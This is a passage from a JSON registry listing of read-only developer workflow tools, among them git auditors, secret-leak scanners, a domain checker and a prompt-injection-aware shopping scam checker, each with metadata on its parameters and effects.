way.","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3df96571b035bb86749d00d0ca56d44851929d621cc7d0412bd673ff581f0847","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/tulving-recall-diff@0.0.1","reference":"aaryanp/tulving-recall-diff@0.0.1","uri":"https://play.modiqo.ai/aaryanp/tulving-recall-diff@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/tulving-recall-diff@0.0.1","name":"tulving-recall-diff","title":"tulving-recall-diff","description":"Diffs the two most recent tulving recall runs for a schedule_id and reports new, updated, or disappeared packages, or honestly reports no change.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["tulving","recall","diff","packages","dependencies","explore","build","reads","raw","output","between","them","outdated","got","if","nothing","say","so","rather","than","fabricating"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T16:15:50.840474+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4496,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["diff_recent_runs","fetch_recall_history"]},"parameters":[{"name":"schedule_id","type":"string","required":true,"description":"Tulving schedule id to inspect (see `tulving list`)"},{"name":"since","type":"string","required":false,"default":"90d","description":"Recall lookback window passed to `tulving recall --since` (e.g. 24h, 7d, 90d)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0b5afe9f12d66b2611abd7919243294714cb80220eee95b44e678b69f19fe70c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"tulving","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/git-hygiene@0.1.0","reference":"ameykaulavkar/git-hygiene@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/git-hygiene@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/git-hygiene@0.1.0","name":"git-hygiene","title":"git-hygiene","description":"Git repository health, bloated blob scanner, and commit hygiene benchmark. Audits repositories for large binary files (>5MB) requiring Git LFS, checks stale branches and orphaned tags, audits Conventional Commits (feat:, fix:, chore:) compliance percentage across recent history, detects unresolved merge conflict markers, and verifies .gitignore and .gitattributes configuration. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-devops","job-git-hygiene","tool-git-lfs","tool-conventional-commits","tool-repository-health","audience-developers","effect-read-only"],"primary_domain":"domain-devops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:44:09.535394+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6913,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["large_blob_scanner","branch_and_tag_audit","git_config_and_ignores","commit_convention_audit","merge_conflict_detector"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"sample","description":"Path to git repository or 'sample' for built-in repository benchmark"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eaac221dd58ccf4d23479e52c1226373a50c5381fc9a0ee7bd16f99219dc3e83","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/secret-leak-radar@0.1.0","reference":"ameykaulavkar/secret-leak-radar@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/secret-leak-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/secret-leak-radar@0.1.0","name":"secret-leak-radar","title":"secret-leak-radar","description":"Accidental secret & credential exposure radar. Scans source code, configuration files, or text targets with high-confidence pattern matching for AWS keys, OpenAI tokens, GitHub PATs, Slack tokens, and private RSA keys. Calculates Shannon entropy across strings to identify high-entropy cryptographic material, checks for unencrypted sensitive files (.env, credentials.json, id_rsa), and provides instant remediation and git-purge guidance. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-security","job-secret-detection","tool-shannon-entropy","tool-credential-hygiene","audience-developers","effect-read-only"],"primary_domain":"domain-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:35:24.440805+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7865,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["pattern_scanner","entropy_analyzer","remediation_advisor","private_key_detector","sensitive_file_finder"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"File path, URL, or string to scan (defaults to synthetic credential demo)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d3aa55b8a66ef4e1f738f232f7c2e2e6dad0083da3fc914bd1675c388056a3f0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/git-secrets-scan@0.0.1","reference":"aaryanp/git-secrets-scan@0.0.1","uri":"https://play.modiqo.ai/aaryanp/git-secrets-scan@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/git-secrets-scan@0.0.1","name":"git-secrets-scan","title":"git-secrets-scan","description":"Scans a local git repository's tracked files (working tree, not full history) for common secret patterns — AWS access keys, AWS secret keys, GitHub tokens, generic API keys, and private key headers — and reports file, line number, and matched pattern for each finding. Matched values are masked in the report.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","security","secrets","git","api-key","scan","explore","build","tailored","repo","scanner","check","formats","since","existing","produces","different","risk","weighted","format","cannot","here","gh","cli","missing"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T14:25:36.546195+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4568,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scan_secrets"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Absolute path to a local git repository to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:33cec55375090c10700cf2b16105a853c37e94c3e8acd3bd707c06648d5292a5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/api-pulse@0.1.0","reference":"ameykaulavkar/api-pulse@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/api-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/api-pulse@0.1.0","name":"api-pulse","title":"api-pulse","description":"Live HTTP API contract, JSON schema inferrer, rate-limit gauge, and resilience auditor. Measures endpoint latency, TTFB, and status codes, automatically infers JSON response schema types and nesting depth, analyzes rate-limiting headers (x-ratelimit-limit, x-ratelimit-remaining, retry-after) with live headroom percentage and reset countdowns, audits HTTP edge caching (Cache-Control, ETag, Cloudflare/Fastly CDN HITs), and verifies CORS security and transport hardening. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-networking","job-api-monitoring","tool-json-schema","tool-rate-limiting","tool-http-benchmark","audience-developers","effect-read-only"],"primary_domain":"domain-networking","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:17:46.818412+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6952,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["endpoint_probe","ratelimit_gauge","schema_inferrer","cors_and_resilience","caching_and_compression"]},"parameters":[{"name":"endpoint","type":"string","required":false,"default":"https://dummyjson.com/products/1","description":"Target HTTP/REST API endpoint URL to inspect"},{"name":"method","type":"string","required":false,"default":"GET","description":"HTTP method (GET, POST, etc.)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:201cf8e5770a3097620b3b31294b68f2f662a124fae3b342347b0703e3a11ac4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/domain-pulse@0.1.0","reference":"ameykaulavkar/domain-pulse@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/domain-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/domain-pulse@0.1.0","name":"domain-pulse","title":"domain-pulse","description":"Full-stack domain, SSL, DNS & security header X-ray. Probes DNS-over-HTTPS (A, AAAA, MX, TXT, NS), audits TLS/SSL certificate validity and expiration countdown, evaluates security headers (HSTS, CSP, X-Frame-Options, CORS) with a letter grade (A+ to F), tests TTFB latency and HTTP/2+ support, and checks robots.txt and metadata. A parallel dependency DAG where each probe degrades gracefully to labeled unknowns; ends in a cyber-terminal dashboard with an actionable stage ledger. S0-clean, reads public endpoints only, carries no keys, writes nothing.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-devops","job-domain-inspection","tool-security-headers","tool-ssl-audit","audience-developers","effect-read-only"],"primary_domain":"domain-devops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T13:56:40.209975+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6240,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["dns_probe","ssl_cert_audit","meta_and_robots","security_headers","http_latency_probe"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"modiqo.ai","description":"Target domain or URL to inspect (e.g. github.com, modiqo.ai, example.com)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5616439bd54951d70bb736773304d6961c9b23c42afd33f23cc0ee4e09940433","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/weekly-repo-digest@0.0.2","reference":"aaryanp/weekly-repo-digest@0.0.2","uri":"https://play.modiqo.ai/aaryanp/weekly-repo-digest@0.0.2","manifest_uri":"https://play.modiqo.ai/aaryanp/weekly-repo-digest@0.0.2","name":"weekly-repo-digest","title":"weekly-repo-digest","description":"Checks a GitHub repository's open pull requests for staleness and its package.json dependencies for outdated npm versions (via npm-outdated-table), combines both into one digest, and sends it by Gmail.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","npm","gmail","digest","weekly","explore","create","pr","counts","multi","prs","data","given","summary","send","myself"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.2","published_at":"2026-09-05T13:56:27.969593+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8852,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["stale_prs","auth_gmail","auth_github","send_digest","outdated_deps","compose_digest"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"integer","required":false,"default":"14","description":"Minimum number of days a pull request must have been open to count as stale"},{"name":"directory","type":"string","required":true,"description":"Absolute path to a local checkout of the same repository, scanned for outdated npm dependencies"},{"name":"to_email","type":"string","required":true,"description":"Gmail address the digest is sent to"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"aaryanp/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["send_digest"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:dcb8c545ac57cccd6c15f31dde17572295b457772ef028da4fa7ea1142654e6f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":2,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"github","steps":2,"methods":["pulls/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]},{"adapter":"gmail-api","steps":2,"methods":["gmail.users.messages.send"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"aaryanp/gmail-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"rote","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":["send_digest"],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/shashankinguva/shopping-scam-check@0.1.0","reference":"shashankinguva/shopping-scam-check@0.1.0","uri":"https://play.modiqo.ai/shashankinguva/shopping-scam-check@0.1.0","manifest_uri":"https://play.modiqo.ai/shashankinguva/shopping-scam-check@0.1.0","name":"shopping-scam-check","title":"shopping-scam-check","description":"For a given URL, checks consumer scam signals (domain age, SSL certificate, typosquatting against known retailers, urgency/pressure language) and AI-agent-manipulation attempts embedded in page content aimed at an agent doing the browsing/checkout (hidden instructions, fake system-prompt-style text, confirm-purchase injections). Read-only, no authentication required.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["security","consumer-protection","prompt-injection","scam-detection","html","scanner"],"primary_domain":"domain-uncategorized","author":"shashankinguva","version":"0.1.0","published_at":"2026-09-05T13:14:40.837976+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":12990,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["probe_url"]},"parameters":[{"name":"url","type":"string","required":true,"description":"The shopping/retailer URL to check."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9fabb40a5e29a5ebf6deed5564be22a5f55a3e1587c281d02a13105e71a67f3d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/codinghub/codinghub-monthly-summary@0.0.1","reference":"codinghub/codinghub-monthly-summary@0.0.1","uri":"https://play.modiqo.ai/codinghub/codinghub-monthly-summary@0.0.1","manifest_uri":"https://play.modiqo.ai/codinghub/codinghub-monthly-summary@0.0.1","name":"codinghub-monthly-summary","title":"codinghub-monthly-summary","description":"Scans a coding practice repo for the preceding calendar month, detects per-language concepts, generates a markdown practice summary with 2-3 questions per language, writes it into the repo, and commits and pushes it to a GitHub repository.","owner":{"kind":"org","slug":"codinghub"},"registry_organization":"codinghub","tags":["codinghub","coding","practice","summary","markdown","python","git","github","monthly","typescript"],"primary_domain":"domain-uncategorized","author":"Hafsaarain956","version":"0.0.1","published_at":"2026-09-05T13:06:53.254561+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":9138,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["generate_monthly_summary"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Path to the git repository to scan"},{"name":"github_owner","type":"string","required":true,"description":"GitHub repository owner (or push target, see summary)"},{"name":"github_repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"month","type":"string","required":false,"default":"","description":"Simulated run month (YYYY-MM); empty uses the current month"},{"name":"branch","type":"string","required":false,"default":"main","description":"Branch to push the summary to"},{"name":"commit_name","type":"string","required":false,"default":"","description":"Git commit identity name (empty: repo config or bot)"},{"name":"commit_email","type":"string","required":false,"default":"","description":"Git commit identity email (empty: repo config or bot)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:aa6872baedd3d44fe3b886ec8f0319f941bcf38b1aeae3e67069ca7c1164369a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vedang/paper-brief@0.1.0","reference":"vedang/paper-brief@0.1.0","uri":"https://play.modiqo.ai/vedang/paper-brief@0.1.0","manifest_uri":"https://play.modiqo.ai/vedang/paper-brief@0.1.0","name":"paper-brief","title":"paper-brief","description":"Turn a born-digital PDF research paper into an evidence-bounded brief: abstract, section map, every reported metric with its dataset and task, and novelty claims quoted verbatim. Metric extraction rejects comparison deltas (\"by over 2 BLEU\"), cross-references (\"Section 23 F1\"), signed deltas (\"+1.5 F1\"), and ranges (\"97%-98%\") instead of reporting them as scores. Tested on Attention Is All You Need and BERT: 3/3 and 1/1 real scores, zero false positives. Read-only: never fetches, never writes, never executes paper code, carries no credentials, needs only python3 and poppler pdftotext.","owner":{"kind":"user","slug":"vedang"},"registry_organization":"vedang","tags":["domain-research","job-paper-review","tool-pdf","effect-read-only","audience-researchers","audience-students"],"primary_domain":"domain-research","author":"vedang","version":"0.1.0","published_at":"2026-09-05T13:00:45.953849+00:00","visibility":"public","quality_score":1,"size_bytes":13471,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["meta","claims","results","validate","selfcheck","structure"]},"parameters":[{"name":"pdf","type":"string","required":true,"description":"Absolute path to a local born-digital PDF paper","example":"/Users/you/papers/1706.03762.pdf"},{"name":"max_pages","type":"string","required":false,"default":"30","description":"Maximum pages to extract (1-100)","example":"30"},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the brief; all also prints every metric context and claim","example":"findings"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bda5495082b440d3dc8d6bf59392f78e863dcdb8e47ec42f2dd6d79154fabf6d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cyh7789/trace-identifiers@0.1.0","reference":"cyh7789/trace-identifiers@0.1.0","uri":"https://play.modiqo.ai/cyh7789/trace-identifiers@0.1.0","manifest_uri":"https://play.modiqo.ai/cyh7789/trace-identifiers@0.1.0","name":"trace-identifiers","title":"trace-identifiers","description":"Takes a piece of writing about code and checks that every identifier in it points at something real. Commit ids, issue numbers, file:line references and quoted error messages are the parts of a sentence that can be checked, and they are also the parts that get invented, because an invented one has the right shape and produces no feedback at all: the format is valid, a type checker does not read prose, no test exercises a review comment, and a reader who sees a well-formed sha rarely pastes it into git show. This resolves each one against the repository and the forge, then reports it as resolved, unresolved, or unchecked, with the evidence beside it: the commit subject, the issue title, the line that is actually at that number. Unresolved is deliberately not called wrong. An identifier that does not resolve here may belong to a dependency, another repository or a live system, and this cannot tell that apart from a value that was made up, so it says which question it answered rather than the one you wanted. It also never judges the sentence around the identifier: a commit that exists can still be the wrong commit for the claim being made. With no arguments it checks a bundled sample that mixes real identifiers with invented ones. Read-only: it reads the repository, asks the forge through your existing gh sign-in, and writes nothing.","owner":{"kind":"user","slug":"cyh7789"},"registry_organization":"cyh7789","tags":["domain-engineering","job-technical-writing","audience-developers","tool-git","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"cyh7789","version":"0.1.0","published_at":"2026-09-05T12:34:26.734001+00:00","visibility":"public","quality_score":1,"size_bytes":14259,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["verdict","verify_git","verify_forge","verify_quotes","collect_claims"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Path to the git repository the identifiers should resolve against. Steps run in the play workspace rather than your shell, so pass the path you mean rather than a relative one. Without it the identifiers are still listed but every one is reported as unchecked.","example":"/Users/me/src/my-project"},{"name":"text","type":"string","required":false,"default":"","description":"The writing to check, passed inline. Leave it out and the commit message named by source is checked instead; leave both out and the bundled sample is checked.","example":"Fixed in abc1234, see #91 and src/app.ts:40"},{"name":"source","type":"string","required":false,"default":"HEAD","description":"Which commit message to read when no text is given. Any revision git accepts, so HEAD~1 checks the one before the tip.","example":"HEAD~1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fb3dc4de8721ba3ea6fcaa70269de76db2cb346be1d32ff1a7218600c64d48ea","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shashankinguva/instruction-precedence-map@0.1.0","reference":"shashankinguva/instruction-precedence-map@0.1.0","uri":"https://play.modiqo.ai/shashankinguva/instruction-precedence-map@0.1.0","manifest_uri":"https://play.modiqo.ai/shashankinguva/instruction-precedence-map@0.1.0","name":"instruction-precedence-map","title":"instruction-precedence-map","description":"Find every AI-agent instruction file in a repo (AGENTS.md, CLAUDE.md, .cursorrules, .github/copilot-instructions.md, and nested/path-scoped copies), resolve directory-level precedence (closest file wins for its subtree), and surface contradictory or precedence-unreachable instructions before any agent work begins. Read-only.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["domain-engineering","engineering-workflows","job-code-quality","tool-shell","effect-read-only","instruction-precedence"],"primary_domain":"domain-engineering","author":"Shashank Inguva","version":"0.1.0","published_at":"2026-09-05T12:24:11.941908+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":17299,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scan_precedence_map"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the repository to scan. Must be absolute — this play runs its scan in an isolated sandbox directory, not your shell's working directory, so a relative path (including \".\") does not resolve to the repo you mean and is rejected with a clear error instead of silently scanning the wrong place.","example":"/home/user/my-repo"},{"name":"agent_profile","type":"string","required":false,"default":"generic","description":"Agent profile for heuristic notes on cross-tool precedence (generic, cursor, github-copilot, claude-code, codex). Directory-level precedence within AGENTS.md/CLAUDE.md is resolved deterministically regardless of profile; this only affects cross-tool (e.g. cursor vs copilot) heuristic notes, which have no universal standard.","example":"claude-code"},{"name":"task_scope","type":"string","required":false,"default":"","description":"Optional file or glob to narrow rule applicability","example":"backend/foo.py"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4ec3c79a3d9cdaba323b2e87a69e5813ce1e46f2b3f9881ce0ecac38d06ecd8e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/shashankinguva/gmail-price-hike-detector@0.0.1","reference":"shashankinguva/gmail-price-hike-detector@0.0.1","uri":"https://play.modiqo.ai/shashankinguva/gmail-price-hike-detector@0.0.1","manifest_uri":"https://play.modiqo.ai/shashankinguva/gmail-price-hike-detector@0.0.1","name":"gmail-price-hike-detector","title":"gmail-price-hike-detector","description":"Scan Gmail receipts over a lookback window, group by vendor, and flag vendors whose charged amount increased between consecutive billing cycles: vendor, old amount, new amount, change date.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["typescript","gmail-api","subscriptions","finance","price-hike"],"primary_domain":"domain-uncategorized","author":"Shashank Inguva","version":"0.0.1","published_at":"2026-09-05T11:33:57.590648+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7514,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["get_profile","get_messages","list_messages","auth_gmail_api","normalize_messages"]},"parameters":[{"name":"search_query","type":"string","required":false,"default":"(receipt OR invoice OR \"payment confirmation\" OR subscription OR renewal OR \"auto-renew\" OR 